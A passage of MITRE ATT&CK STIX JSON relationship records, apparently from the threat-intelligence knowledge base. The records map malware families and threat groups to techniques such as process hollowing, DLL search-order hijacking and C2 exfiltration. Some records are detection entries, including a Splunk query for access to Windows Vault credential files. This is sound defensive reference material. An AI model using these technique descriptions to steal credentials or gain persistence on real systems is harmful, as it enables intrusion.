Esentutl)","relationship_type":"uses","source_ref":"tool--c256da91-6dd5-40b2-beeb-ee3b22ab3d27","target_ref":"attack-pattern--0c8ab3eb-df48-4b9c-ace7-beacaac81cc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--18d4782f-0e33-4bf5-b0a2-8dc04cacb617","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint Leviathan Oct 2017","description":"Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.","url":"https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets"}],"modified":"2020-01-14T18:15:36.603Z","description":"Some [Orz](https://attack.mitre.org/software/S0229) versions have an embedded DLL known as MockDll that uses [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) and regsvr32 to execute another payload.(Citation: Proofpoint Leviathan Oct 2017)","relationship_type":"uses","source_ref":"malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b","target_ref":"attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--18d97b33-8ad5-426e-a390-72bea109bee0","type":"relationship","created":"2019-10-07T19:05:49.045Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Lim, M.. (2019, April 26). BabyShark Malware Part Two – Attacks Continue Using KimJongRAT and PCRat . Retrieved October 7, 2019.","url":"https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/","source_name":"Unit42 BabyShark Apr 2019"},{"source_name":"CISA AA20-301A Kimsuky","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-301a","description":"CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020."}],"modified":"2020-11-06T19:54:38.579Z","description":"[BabyShark](https://attack.mitre.org/software/S0414) has downloaded additional files from the C2.(Citation: Unit42 BabyShark Apr 2019)(Citation: CISA AA20-301A Kimsuky)","relationship_type":"uses","source_ref":"malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--18d99703-bb5c-4d69-86c5-bff909730bc0","created":"2022-03-30T14:26:51.876Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Malwarebytes The Windows Vault","description":"Arntz, P. (2016, March 30). The Windows Vault . Retrieved November 23, 2020.","url":"https://blog.malwarebytes.com/101/2016/01/the-windows-vaults/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-15T14:37:35.756Z","description":"Consider monitoring file reads to Vault locations, %Systemdrive%\Users\\[Username]\AppData\Local\Microsoft\\[Vault/Credentials]\, for suspicious activity.(Citation: Malwarebytes The Windows Vault)\n\nAnalytic 1 - Unauthorized access to Windows Vault credential files.\n\n index=security sourcetype=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" event_type=\"file_access\"\n(file_path IN (\"%SystemDrive%\\\\Users\\\\*\\\\AppData\\\\Local\\\\Microsoft\\\\Vault\\\\*\\\\*.vcrd\", \"%SystemDrive%\\\\Users\\\\*\\\\AppData\\\\Local\\\\Microsoft\\\\Credentials\\\\*\\\\*.vcrd\", \"%SystemDrive%\\\\Users\\\\*\\\\AppData\\\\Local\\\\Microsoft\\\\Vault\\\\*\\\\Policy.vpol\", \"%SystemDrive%\\\\Users\\\\*\\\\AppData\\\\Local\\\\Microsoft\\\\Credentials\\\\*\\\\Policy.vpol\"))","relationship_type":"detects","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--18da48c9-a1aa-4d13-b1b1-bd1a78e07c61","created":"2023-09-06T14:24:16.098Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender Sardonic Aug 2021","description":"Budaca, E., et al. (2021, August 25). FIN8 Threat Actor Goes Agile with New Sardonic Backdoor. Retrieved August 9, 2023.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/401/Bitdefender-PR-Whitepaper-FIN8-creat5619-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T13:34:13.631Z","description":"[Sardonic](https://attack.mitre.org/software/S1085) has the ability to execute the `ipconfig` command.(Citation: Bitdefender Sardonic Aug 2021)","relationship_type":"uses","source_ref":"malware--0c52f5bc-557d-4083-bd27-66d7cdb794bb","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--18e170d7-ff3f-450b-9366-cea23216b60e","type":"relationship","created":"2019-09-13T13:21:50.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Machete July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf","description":"ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."}],"modified":"2019-10-07T15:16:12.046Z","description":"[Machete](https://attack.mitre.org/software/S0409)'s collected data is exfiltrated over the same channel used for C2.(Citation: ESET Machete July 2019)","relationship_type":"uses","source_ref":"malware--35cd1d01-1ede-44d2-b073-a264d727bc04","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--18e8e653-d924-4fed-a33f-7893cf8a683b","type":"relationship","created":"2019-01-31T01:07:58.589Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2019-07-17T13:11:38.280Z","description":"[APT32](https://attack.mitre.org/groups/G0050) used WMI to deploy their tools on remote machines and to gather information about the Outlook process.(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--18e994e4-2e23-4984-b0cb-1a2194cc9537","type":"relationship","created":"2022-03-30T14:26:51.836Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.836Z","description":"Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL.","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--18ed716d-2865-4a7a-98f8-915f07c183dc","type":"relationship","created":"2021-09-09T14:31:16.192Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Oblique RAT March 2021","url":"https://blog.talosintelligence.com/2021/02/obliquerat-new-campaign.html","description":"Malhotra, A. (2021, March 2). ObliqueRAT returns with new campaign using hijacked websites. Retrieved September 2, 2021."}],"modified":"2021-10-15T14:43:12.268Z","description":"[ObliqueRAT](https://attack.mitre.org/software/S0644) can capture a screenshot of the current screen.(Citation: Talos Oblique RAT March 2021)\n","relationship_type":"uses","source_ref":"malware--5864e59f-eb4c-43ad-83b2-b5e4fae056c9","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--18f3619c-c1e1-4b2c-b582-2cb5691f02e9","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos GravityRAT","description":"Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.","url":"https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html"}],"modified":"2019-04-24T23:21:59.267Z","description":"[GravityRAT](https://attack.mitre.org/software/S0237) collects the victim IP address, MAC address, as well as the victim account domain name.(Citation: Talos GravityRAT)","relationship_type":"uses","source_ref":"malware--1d1fce2f-0db5-402b-9843-4278a0694637","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--18f4bc4e-ef29-4fe4-ace3-c4671f94ccef","type":"relationship","created":"2020-02-05T14:42:23.085Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity PowerDuke November 2016","description":"Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.","url":"https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"}],"modified":"2020-02-05T14:42:23.085Z","description":"[PowerDuke](https://attack.mitre.org/software/S0139) uses steganography to hide backdoors in PNG files, which are also encrypted using the Tiny Encryption Algorithm (TEA).(Citation: Volexity PowerDuke November 2016) ","relationship_type":"uses","source_ref":"malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a","target_ref":"attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--190057d5-13ad-40d2-a2f0-0177850e2905","created":"2020-09-23T17:54:32.088Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Dukes October 2019","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T19:42:50.759Z","description":"[PolyglotDuke](https://attack.mitre.org/software/S0518) can write encrypted JSON configuration files to the Registry.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--3d57dcc4-be99-4613-9482-d5218f5ec13e","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1909b21c-27c1-480b-a550-374af83c47dd","type":"relationship","created":"2020-10-27T19:26:38.365Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT BLINDINGCAN Aug 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a","description":"US-CERT. (2020, August 19). MAR-10295134-1.v1 – North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020."}],"modified":"2020-10-27T19:26:38.365Z","description":"[BLINDINGCAN](https://attack.mitre.org/software/S0520) has used HTTPS over port 443 for command and control.(Citation: US-CERT BLINDINGCAN Aug 2020)","relationship_type":"uses","source_ref":"malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--190c819e-d4c9-4fa6-b809-9c7d76c0810a","type":"relationship","created":"2021-02-17T20:27:27.372Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"IBM MegaCortex","url":"https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/","description":"Del Fierro, C. Kessem, L.. (2020, January 8). From Mega to Giga: Cross-Version Comparison of Top MegaCortex Modifications. Retrieved February 15, 2021."}],"modified":"2021-03-31T18:43:23.244Z","description":"[MegaCortex](https://attack.mitre.org/software/S0576) has used rundll32.exe to load a DLL for file encryption.(Citation: IBM MegaCortex)","relationship_type":"uses","source_ref":"malware--909617c3-6d87-4330-8f32-bd3af38c3b92","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1910d7f9-b71c-4a85-80ad-74b6722aa208","type":"relationship","created":"2020-11-10T19:48:19.691Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Brazilian Banking Malware July 2020","url":"https://securelist.com/the-tetrade-brazilian-banking-malware/97779/","description":"GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}],"modified":"2020-11-10T19:48:19.691Z","description":"[Javali](https://attack.mitre.org/software/S0528) can capture login credentials from open browsers including Firefox, Chrome, Internet Explorer, and Edge.(Citation: Securelist Brazilian Banking Malware July 2020)","relationship_type":"uses","source_ref":"malware--64122557-5940-4271-9123-25bfc0c693db","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--191364fd-6564-4adc-a717-cfec6b13f438","created":"2022-12-19T18:24:18.559Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-19T18:27:10.231Z","description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) used VMProtect to slow the reverse engineering of malicious binaries.(Citation: Mandiant APT41)","relationship_type":"uses","source_ref":"campaign--ba6dfa37-f401-4140-88b0-8938f2895e61","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--19151c17-b3cb-436f-88dc-16aabd96e04f","created":"2022-01-11T14:58:01.947Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Prevailion DarkWatchman 2021","description":"Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.","url":"https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:28:39.923Z","description":"[DarkWatchman](https://attack.mitre.org/software/S0673) can store configuration strings, keylogger, and output of components in the Registry.(Citation: Prevailion DarkWatchman 2021)","relationship_type":"uses","source_ref":"malware--63686509-069b-4143-99ea-4e59cad6cb2a","target_ref":"attack-pattern--02c5abff-30bf-4703-ab92-1f6072fae939","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--19153106-5607-4cac-91a5-c2a900bc5343","type":"relationship","created":"2020-06-29T03:27:50.994Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ComRAT May 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf","description":"Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."},{"source_name":"CISA ComRAT Oct 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303a","description":"CISA. (2020, October 29). Malware Analysis Report (AR20-303A). Retrieved December 9, 2020."}],"modified":"2020-12-09T23:26:09.185Z","description":"[ComRAT](https://attack.mitre.org/software/S0126) has used a scheduled task to launch its PowerShell loader.(Citation: ESET ComRAT May 2020)(Citation: CISA ComRAT Oct 2020)","relationship_type":"uses","source_ref":"malware--da5880b4-f7da-4869-85f2-e0aba84b8565","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--19161920-e6b5-481f-a240-62f05c624010","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Darkmoon Aug 2005","description":"Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99"}],"modified":"2020-03-16T16:57:13.393Z","description":"[PoisonIvy](https://attack.mitre.org/software/S0012) creates a Registry subkey that registers a new system device.(Citation: Symantec Darkmoon Aug 2005)","relationship_type":"uses","source_ref":"malware--b42378e0-f147-496f-992a-26a49705395b","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--191885b6-1282-4173-a2bd-174c30c8a1dc","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT1 Appendix","description":"Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.","url":"https://www.mandiant.com/sites/default/files/2021-09/mandiant-apt1-report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-26T19:55:54.856Z","description":"Variants of [WEBC2](https://attack.mitre.org/software/S0109) achieve persistence by using DLL search order hijacking, usually by copying the DLL file to %SYSTEMROOT% (C:\\WINDOWS\\ntshrui.dll).(Citation: Mandiant APT1 Appendix)","relationship_type":"uses","source_ref":"malware--1d808f62-cf63-4063-9727-ff6132514c22","target_ref":"attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--19198d4f-e858-4288-a7cb-e2ec03134de7","type":"relationship","created":"2022-03-30T14:26:51.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.869Z","description":"Monitor for modification of binaries and service executables that do not occur during a regular software update or an update scheduled by the organization. Modification of files considers actions such as renaming and directory moving.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1919b6a0-302d-4e7e-b15d-e64125b11187","created":"2022-06-28T14:55:54.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CrowdStrike IceApple May 2022","description":"CrowdStrike. (2022, May). ICEAPPLE: A NOVEL INTERNET INFORMATION SERVICES (IIS) POST-EXPLOITATION FRAMEWORK. Retrieved June 27, 2022.","url":"https://www.crowdstrike.com/wp-content/uploads/2022/05/crowdstrike-iceapple-a-novel-internet-information-services-post-exploitation-framework.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T04:46:22.007Z","description":"[IceApple](https://attack.mitre.org/software/S1022) can use Base64 and \"junk\" JavaScript code to obfuscate information.(Citation: CrowdStrike IceApple May 2022)","relationship_type":"uses","source_ref":"malware--dd889a55-fb2c-4ec7-8e9f-c399939a49e1","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--191aac5f-38bc-429b-8343-32eb17fa4919","created":"2022-09-07T19:17:14.632Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Frankenstein June 2019","description":"Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020.","url":"https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-21T14:38:13.835Z","description":"During [Frankenstein](https://attack.mitre.org/campaigns/C0001), the threat actors used [Empire](https://attack.mitre.org/software/S0363) to obtain the compromised machine's name.(Citation: Talos Frankenstein June 2019)","relationship_type":"uses","source_ref":"campaign--26d9ebae-de59-427f-ae9a-349456bae4b1","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--191d6679-d6a8-42e3-b5ff-84a8d5bfb1dd","type":"relationship","created":"2019-01-31T01:39:56.551Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"SecureAuth. (n.d.). Retrieved January 15, 2019.","url":"https://www.secureauth.com/labs/open-source-tools/impacket","source_name":"Impacket Tools"}],"modified":"2019-04-18T21:49:12.757Z","description":"[Impacket](https://attack.mitre.org/software/S0357) can be used to sniff network traffic via an interface or raw socket.(Citation: Impacket Tools)","relationship_type":"uses","source_ref":"tool--26c87906-d750-42c5-946c-d4162c73fc7b","target_ref":"attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1923a47b-5a48-44e6-883f-ca23a96fea46","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf","description":"ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.","source_name":"ESET Sednit Part 1"},{"url":"https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/","description":"Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.","source_name":"Unit 42 Sofacy Feb 2018"}],"modified":"2020-03-20T16:40:41.309Z","description":"[JHUHUGIT](https://attack.mitre.org/software/S0044) obtains a list of running processes on the victim.(Citation: ESET Sednit Part 1)(Citation: Unit 42 Sofacy Feb 2018)","relationship_type":"uses","source_ref":"malware--8ae43c46-57ef-47d5-a77a-eebb35628db2","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1923bc58-a830-457d-810f-27091e032f46","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye MuddyWater Mar 2018","description":"Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html"},{"description":"Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.","url":"https://securelist.com/muddywater/88059/","source_name":"Securelist MuddyWater Oct 2018"}],"modified":"2019-06-28T15:30:58.855Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has used mshta.exe to execute its [POWERSTATS](https://attack.mitre.org/software/S0223) payload and to pass a PowerShell one-liner for execution.(Citation: FireEye MuddyWater Mar 2018)(Citation: Securelist MuddyWater Oct 2018)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--19264fec-8c72-470f-9a7f-6c135718fde7","type":"relationship","created":"2020-10-20T15:47:55.199Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-17T16:00:16.437Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and 